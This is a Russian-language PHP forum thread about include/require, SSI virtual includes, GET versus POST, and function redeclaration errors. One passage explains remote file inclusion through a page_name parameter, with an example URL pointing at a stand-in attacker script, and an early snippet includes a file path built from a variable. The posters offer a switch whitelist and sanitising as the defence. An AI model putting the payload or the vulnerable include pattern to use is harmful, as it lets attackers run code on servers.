Эта тема на forum.dklab.ru


Макс: Совсем нестрашный "include" и "URI"
Хочу знать для себя , какие еще есть варианты "инклудирования" файлов.
Может кто знает?!

<?php include ("/www/dir/site/page.php"); ?>

<?php include ("/www/dir/site/$inc_file"); echo "YO"; ?>

Для нежелающих ответить ОЧЕНЬ сложный вопрос:
КАК вывести полный URI страницы, на которой сейчас находимся. только на самой странице, и посредством PHP.

Кстате, Ваш форум нечего, только вот дизайн хромает, Вам без дизайнеров, нет, необойтись!
Помочь?
Евгений Бондарев:
Ваш форум нечего, только вот дизайн хромает
Это к разработчикам phpBB ;-)
Макс: -
Ну, я так и знал, что кроме меня никто не знает как инклудировать с переменной! :-)

А по поводу дизайна, у них там все в полном порядке, ещераз повторюсь, ежели что по дизайну, ломитесь ко мне на мыло или как там удобнее!
Помогу, нарисую, или может на фотошопе что надо сделать, тоже можно! (a r t s e c r e t @ n a r o d . r u)-пробелы убрать при отправке!

А все таки, как на счет инклуде! ~)
Юрий Насретдинов:
Макс:

$file2include = $rootpath."/kernel/sql_drivers/".$config['sql driver'].".php";
include($file2include);


Давольны ?
Макс: -
yUAC:
Конечно (в конце поставить 3 х "!")
Макс: -
Я скрещивал SSI + PHP и ..
..- немного кривовато получилось, а в принципи, инклудирование и запрос на файл PHP в инклудированном SHTML практикуется?
Юрий Насретдинов:
Макс:
А про функцию "virtual" Вы, надеюсь, слышали ?
Макс: -
Да, она помоему так пишется:

<!--#include virtual="/dir/forum.php" -->

Да вот когда нужно добраться до : forum.php?id=page_1

<!--#include virtual="/dir/forum.php?id=page_1" -->

А вот страницу 2 как подать, непонимаю.
Юрий Насретдинов:
Макс:

<!--#include virtual="/dir/forum.php?$QUERY_STRING"-->


Учите мат. часть © Непомнюктоноточносэтогофорума :)
Макс: -
Да, это оно!

Я таким путем послал на password.php запрос через :
(это при том, что файл php инклудировался в shtml)

<form name="form2" method="post" action="password.php" enctype="multipart/form-data">

а работает только через :

<form name="form2" method="get" action="password.php" enctype="multipart/form-data">

но так все пароли в строке буду протикать.
Дмитрий Котеров:
Про include и require (и уж тем более — про динамическое формирование имени файла через переменные) рекомендую вообще забыть. Вместо них — require_once да ini_set("include_path", ...). А то костей не соберете.
Макс: -
Но форум - то , можно компилированно вставить в SHTML ?

или как.. :-(
Дмитрий Котеров:
Чего-чего?
Юрий Насретдинов:
Макс:
Нет, SSI метод POST не поддерживает. Так что не выйдет...
Макс: -
Дмитрий Котеров:
я имел в вмду форум у меня написан на PHP, я его уже почти вставил в SSI (shtml) и он (почти) работает, но вот когда нужно зайти в админ панель, проблема с POST - когда начинаю в админ панель заходить

.. може админ панель оставить в PHP ?
Макс: -
yUAC:

А POST от метода GET чем отличается?
.. "секретностью" передачи данных, может, если оставить GET на отправку сообщения и не более?! -э то пройдет
Юрий Насретдинов:
А POST от метода GET чем отличается?
А вот это уже нужно знать. Если Вы этого не знаете, то извините. Вам нужно сходить на http://www.php.spb.ru и почитать там про реализацию запроса POST и GET.

Пример:


http://forum.dklab.ru/viewtopic.php?p=1 - метод GET, передается значение "1" переменной "p"
http://forum.dklab.ru/addpost.php - методом GET ничего не передано. Зато методом POST отдельным подзаголовком пришел текст письма и заголовок (и еще что-то)


Так вот. SSI (или SHTML как его почему-то называют) метод POST не поддерживает. Так уж он устроен.
Макс: -
yUAC: - хорошо, понял.

Каким методом можно вывести URL страницы, использую PHP ?

Используя SSI
<!--#echo var="DOCUMENT_URI"-->
Дмитрий Эсс:
Можно склеить из $GLOBALS["HTTP_HOST"] и $GLOBALS["$REQUEST_URI"]. Прямого путя вроде нет, хотя может я ошибаюсь.
Макс: -
Дмитрий Эсс:

Точно, я бы, без подсказки, даже в мане не нашол!

<?php

echo "http://{$HTTP_HOST}{$REQUEST_URI}";

?>

Как только туда "TEST" забрался, ну я понимаю что он в папке, но разве HTTP_HOST дает путь к папке?!
результат кода
http://192.168.1.17/test/URL.php
Дмитрий Эсс:
$HTTP_HOST - это только хост, а вот $REQUEST_URI - это весь оставшийся путь к файлу.
А вообще-то запустите функцию Dump() для массива $GLOBALS (Dump($GLOBALS)). Исходник функции есть на:
http://forum.dklab.ru/php/advises/OtladochnieFunktsii.html
Она распечатает весь массив, и Вы сможите посмотреть какие переменные существуют и могут подойти для Ваших целей.
Юрий Насретдинов:
Дмитрий Эсс:
Не советуйте глупости. В GLOBALS слишком много переменных, и в них врядли удастся разобраться даже подготовленному человеку (хотя я могу ошибаться).ъ

Так что лучше уж делать dump $_SERVER, но никак не GLOBALS
Дмитрий Эсс:
yUAC:
Вы ошибаетесь. Я за 1 минуту нашёл то, что нужно. Это не сложно, так как известен адрес страницы, его и надо в переменных искать.
Юрий Насретдинов:
Дмитрий Эсс:
В любом случае. Вы - подготовленный человек и знаете, что хотите найти. Вотъ.
Дмитрий Котеров:
Не советуйте глупости ... хотя я могу ошибаться.
Прекрасно. Вы хотя бы определились, что ли...
Vert, котрый Bert:
Котеров

Про include и require (и уж тем более — про динамическое формирование имени файла через переменные) рекомендую вообще забыть. Вместо них — require_once да ini_set("include_path", ...). А то костей не соберете.

Вот уж точнее не скажешь. Я свои кости, мозги и прочее собирал после инклюдов очень долго.
Если у вас еще и ООП, то с инклюдами и реквайрами редекларация класса Вам точно обеспечена. А если нет, то Вы очень внимательный и неординарный человек.
Юрий Насретдинов:
Vert, котрый Bert:
Хм. У меня довольно часто бывает, что я напарываюсь на redeclare функции... Но при этом подключаются разные файлы. Т.к. у меня используются иногда одни и те же функции для работы с разными скриптами, и когда их соединяешь вместе, они выдают fatal error... Проблема решается весьма хитрым способом - если _once не помогает, т.к. в разных файлах прописаны одни и те функции, я делаю примерно так:


if(!function_exists("writefile"))
{
function writefile(....)
{
....
}
}

MonaHS: Исспользование Switch
Насчет костей, то я на своём сайте исспользую Switch. Для начинающих напомню его синтаксис:

<?php
switch($page_name) // Где $page_name - папка в которой лежит нужный вам подключаемый файл
{
case "main":
include("main/index.php");
break;
case "docs":
include("docs/index.php");
break;
case "about":
include("about/index.php");
break;
default:
include("main/index.php");
break;
}
?>

Теперь немного обьясню...меню у меня генерируется динамически и каждая ссылка имеет формат: <a href='index.php?$page_name=main' - Таким образом при клике на определённой ссылке, переменная $page_name принимает одно из указанных в switch значений. Если какой-нибудь крякер попытается передать в переменной несуществующий параметр, то по умолчанию выведется главная страничка ("main/index.php"). Вышеприведённый код у меня находится в файле index.php корневого каталога моего сервера, он содержит весь дизайн сайта... А описываемый оператор switch устанавливаю в месте, где должен находится основной текст странички. Как вы наверное уже догадались, подключаемые файлы содержат только текст странички. Мне кажется, что здесь всё просто и надежно... Если я не прав, переубедите меня.
Макс: -
MonaHS:

А что, в простом , незакрытом варианте может сделать КРЯКЕР? (какую переменную, "делит дир"?!)
Если не сложно простой пример, и на сколько это опасно.
MonaHS:
Я считаю что при открытом коде, то есть, когда в параметре $page_name передаётся адресс к подключаемой страничке, то любой крякер или же умный РНР-ист может передать свою строку, например www.imia.sayta/index.php?page_name='http://www.imia_sayta.kriakera/skript_kriakera.php'. Теперь Вы понимаете, что выше названный человек может выполнить любой скрипт на вашем сервере... А это не есть хорошо. Да, он может просмотреть полное дерево сайта, прочитать некоторые файлы... А в некоторых из них может хранится и конфиденциальная информация... Так что, здесь свои ньюансы...
Макс: -
Понял,
значит мне придется чинить после этого сайт клиента, или хуже, ...
угу,.. ладно, это дело исправим.. А сайт клиента пусть крякают, копия на локалке лежит, можно выгрузить опять..)

а так мысля полезна,
Floyd:
Котеров

Про include и require (и уж тем более — про динамическое формирование имени файла через переменные) рекомендую вообще забыть. Вместо них — require_once да ini_set("include_path", ...). А то костей не соберете.

Вот уж точнее не скажешь. Я свои кости, мозги и прочее собирал после инклюдов очень долго.
Если у вас еще и ООП, то с инклюдами и реквайрами редекларация класса Вам точно обеспечена.
ну уж простите... _постоянно_ (с помощью include_once) делаю включения файлов, имена и пути которых сформированы динамически (например, разные шаблоны для разных языков; подключение разных классов; да туча всего еще) и _ни_разу_ не натыкался ни на какие грабли. Всякие прочие грабли - бывали, но с включениями - никогда.

Кстати - существенна ли разница в скорости include_once и require_once?
Floyd:
Я считаю что при открытом коде, то есть, когда в параметре $page_name передаётся адресс к подключаемой страничке, то любой крякер или же умный РНР-ист может передать свою строку, например www.imia.sayta/index.php?page_name='http://www.imia_sayta.kriakera/skript_kriakera.php'. Теперь Вы понимаете, что выше названный человек может выполнить любой скрипт на вашем сервере...
Точно :) Читаем: http://detail.phpclub.net/article/2003-09-23
Так что или switch, или вырезаем все "неправильные" символы: preg_replace('/[\W]/', "", $str). Естественно, иногда может быть полезен htmlspecialchars сотоварищи.
Дмитрий Котеров:
Include_once и require_once — это одно и то же, просто первая генерирует предупреждение в случае ошибки, а вторая — завершает при этом весь скрипт.
Ares:
Vert, котрый Bert:
Хм. У меня довольно часто бывает, что я напарываюсь на redeclare функции... Но при этом подключаются разные файлы. Т.к. у меня используются иногда одни и те же функции для работы с разными скриптами, и когда их соединяешь вместе, они выдают fatal error... Проблема решается весьма хитрым способом - если _once не помогает, т.к. в разных файлах прописаны одни и те функции, я делаю примерно так:


if(!function_exists("writefile"))
{
function writefile(....)
{
....
}
}


у меня аналогичная проблема.

из двух разных скриптов gallery.php и news.php я пытаюсь подключить один и тот же модуль, из которого я использую ф-цию read_config()

include_once ("modul.php");
$config=read_config("data/config_php");


в итоге получаю ошибку:

Fatal error: Cannot redeclare read_config() (previously declared in z:\home\belkontby\www\modul.php:12) in z:\home\belkontby\www\modul.php on line 12


одним словом - масло маслянное ...

как видно include_once не помогает, может из вас кто-нибудь поможет? :)
Дмитрий Котеров:
Значит, где-то проскакивает обычный include.
Ares:
верно, проскакиваЕТ ... точнее проскакивАЛ :)

странно, что в PHP так странно устроена работа с модулями. есть ли какие-то другие возможности, что бы делать свои модули, как в Perl?
Евгений Галашин:
extensions. Только надо ли? =)

также посмотрите PEAR.
Дмитрий Котеров:
есть ли какие-то другие возможности, что бы делать свои модули, как в Perl?
Иаких богатых возможностей, как в Perl, нет. Есть альтернатива — подход PEAR, когда файлы включаются только по *_once, а модули заключаются внутрь классов (один модуль — один класс). Так эмулируются области видимости.
Юрий Насретдинов:
Дмитрий Котеров:
Хм. У меня просто такой способ не пройдет, т.к. у меня у всех скриптов лежит копия всех классов и функций, чтобы они могли работать автономно...
Евгений Галашин:
у меня у всех скриптов лежит копия всех классов и функций
а как Вам по ночам спится? кошмары не мучают? (-;
а если вдруг в одной функции ошибка?
Юрий Насретдинов:
а если вдруг в одной функции ошибка?
Значит заменяю везде, где это критично. Обычно у меня в функциях ошибок нет (ну или почти) - на то собственно они и нужны - один раз заинклюдил и забыл. Я обычно инклюжу отдельным файлом функции общего применения, в которых ошибок быть в принципе не может, а другим - функции, спецэффичные уже для данного скрипта. Ну а как иначе ?
Дмитрий Котеров:
Зря ты так делаешь. Лучше хранить все в одном месте, так все же надежнее. Ну или хотя бы в пределах одного сайта так делать.
Юрий Насретдинов:
Лучше хранить все в одном месте, так все же надежнее.
Хм. Ну если у меня много скриптов, которые выполняют абсолютно разные функции, и сую я их тоже вразнобой, то боюсь так не получится

Ну или хотя бы в пределах одного сайта так делать.
Это можно, но честно говоря неохота геммороиться с путями, каждый раз что-то менять...
Дмитрий Котеров:
Ленивый человек - это человек, который в итоге больше всех делает. Потому что вместо того, чтобы однажды улучшить условия на рабочем месте, он снова и снова повторяет одни и те же однотипные операции.
Юрий Насретдинов:
Дмитрий Котеров:
Мне несложно заменить эти файлы :)

Эта тема на forum.dklab.ru